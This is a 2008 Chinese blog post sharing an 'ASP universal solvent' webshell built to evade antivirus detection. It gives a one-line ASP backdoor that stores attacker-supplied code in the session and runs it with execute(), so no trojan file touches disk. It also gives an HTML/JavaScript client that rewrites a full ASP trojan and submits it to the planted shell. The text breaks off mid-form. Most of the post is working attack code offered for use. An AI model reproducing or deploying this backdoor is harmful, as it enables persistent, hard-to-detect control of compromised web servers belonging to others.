asp马免杀工具——asp万能溶剂
上一篇 /
下一篇 2008-08-26 16:25:13
其实很简单:思路就是将asp代码写入到session中保存,使用是只要execute(session("xx"))就可以,由于不用写文件,所以免除了被杀的危险,使用的时候感觉这个asp完全变成了要使用的木马~~所以想了个名字叫asp万能溶剂~其实俺还想叫他asp变形虫虫~~~
这样不追求将asp特征码修改而是完全不使用文件存储木马,可以说是另外一个免杀的思路吧.
代码分两部分,本地部分和服务器上的asp部分,跟一句话木马貌似,其实就是一句话的改进.
代码里有些注释,可以看看.
这是偶的代码:服务器上的asp部分
CODE:
以下是代码片段:
<%if request("aspcode_estcc_060430")<>"" then
session("aspcode_estcc_060430")=request("aspcode_estcc_060430")
end If
execute(session("aspcode_estcc_060430"))%>
[Copy to clipboard]
这是本地部分,为啥还写一个这么麻烦的本地部分呢,因为如果asp马里有<%这个的话execute就不能正确执行,只好变通一下拉~~写的不是很好,大家批评一下吧:
CODE:
以下是代码片段:
<style. type="text/css">
body,textarea,form,input,button
{
font-size:12px;
border-width:1px;
border-style.:double;
}
</style>
<script>
function c1(ns) //处理非asp代码
{
s=ns.replace(/"/igm,"\"\"");
s= s.replace(/\r\n/igm,"\"+vbCrLf+\"");
s="\nresponse.write \""+s+"\"\n";
//s= s.replace(/\+""[^"]|[^"]""\+/gm,"$1"); 本意是清除一些无用的语句,如 xx=""+vbcrlf+"",不过总有错误,放弃。
return s;
}
function c() //全部转换成asp代码,因为<%一类的字符会使execute出错,
{
var s=new String(document.all.text.value);
var finished=new String();
s=s.replace(/<%=(.+?)%>/gm,"<%Response.write $1%>"); //先处理<%=xx%>这种情况
var aspCode=new RegExp("<%((.|\r|\n)*?)%>","igm");
while(aspCode.exec(s)!=null)
{
t=RegExp.$1;
s=RegExp.rightContext;
finished+=c1(RegExp.leftContext);
finished+=t;
aspCode.lastIndex=0;
}
if (s!=null){ finished += c1(s); }
document.all.text.value=finished;
}
function check()
{
if(document.all.fpath.value==""){alert("溶剂在哪里啊溶剂在哪里?");}
else{
document.all.form1.action=document.all.fpath.value;
if (document.all.text.value==""){alert("把asp木马的内容全部复制过来丫~");}
else{
c();
form1.submit();
}
}
}
</script>
<body>
<center><span style="font-size:14px;color:red;">虫虫的ASP万能溶剂(变形虫虫?)</span>
<form. method=post action="" id=form1>
<input type=hidden name=act_estcc_060430 ><!-- 加一些额外的操作例如在session中保存多个木马 还没写相关代码 -->
<textarea id=text ROWS="30" COLS="80" name=aspcode_estcc_060430>
导入论坛
收藏
分享给好友
推荐到圈子
管理
举报
TAG: